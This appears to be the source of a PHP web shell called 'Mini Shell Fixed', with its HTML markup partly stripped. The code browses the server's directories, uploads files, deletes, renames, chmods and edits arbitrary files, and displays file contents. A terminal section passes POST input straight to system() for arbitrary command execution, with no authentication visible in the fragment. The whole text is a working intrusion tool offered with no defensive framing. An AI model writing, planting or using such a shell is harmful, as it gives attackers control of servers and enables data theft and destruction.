'; exit; } } $path = $_GET['path'] ?? getcwd(); $path = str_replace('\\','/',$path); $paths = explode('/',$path); ?> Mini Shell Fixed

Mini Shell

Directory: $pat){ if($pat=='' && $id==0){ echo '/'; continue; } if($pat=='') continue; echo "$pat/"; } ?>

Upload File:
Upload success

"; } else { echo "

Upload failed (check directory permissions)

"; } } // ============ HANDLING INLINE ACTIONS =========== if ($_SERVER['REQUEST_METHOD']==='POST' && isset($_POST['do'])){ $do = $_POST['do']; $target = $_POST['target']; if ($do=='delete') { if (is_dir($target) && @rmdir($target)) echo "

Deleted dir $target

"; elseif (is_file($target) && @unlink($target)) echo "

Deleted file $target

"; else echo "

Failed delete (permissions?) $target

"; } if ($do=='chmod' && isset($_POST['perm'])){ if (@chmod($target, octdec($_POST['perm']))) echo "

Chmod success

"; else echo "

Chmod failed for $target

"; } if ($do=='rename' && isset($_POST['newname'])){ $newPath = dirname($target).'/'.$_POST['newname']; if (@rename($target, $newPath)) echo "

Renamed to $newPath

"; else echo "

Rename failed for $target

"; } if ($do=='edit' && isset($_POST['src'])){ if (is_writable($target)){ if (file_put_contents($target, $_POST['src'])!==false) echo "

Edit saved $target

"; else echo "

Edit failed (write error) $target

"; } else echo "

File not writable $target

"; } } // ============ TABLE DIRECTORY LISTING =========== if (is_dir($path)) { echo ""; foreach(scandir($path) as $item){ if($item=="." || $item=="..") continue; $itemPath="$path/$item"; echo ""; echo ""; echo ""; echo ""; echo ""; } echo "
NameSizePermsActions
$item".(is_file($itemPath)?round(filesize($itemPath)/1024,2).' KB':'--')."".perms($itemPath)."
"; if(isset($_POST['do']) && $_POST['target']===$itemPath){ if($_POST['do']=='chmod'){ echo "
"; } if($_POST['do']=='rename'){ echo "
"; } if($_POST['do']=='edit' && is_file($itemPath)){ echo "

"; } } echo "
"; } elseif (is_file($path)) { echo "

Viewing file: ".htmlspecialchars($path)."

"; echo "
".htmlspecialchars(file_get_contents($path))."
"; } ?>

Terminal

"; system($_POST['cmd']); echo ""; } ?>

PHP disable_functions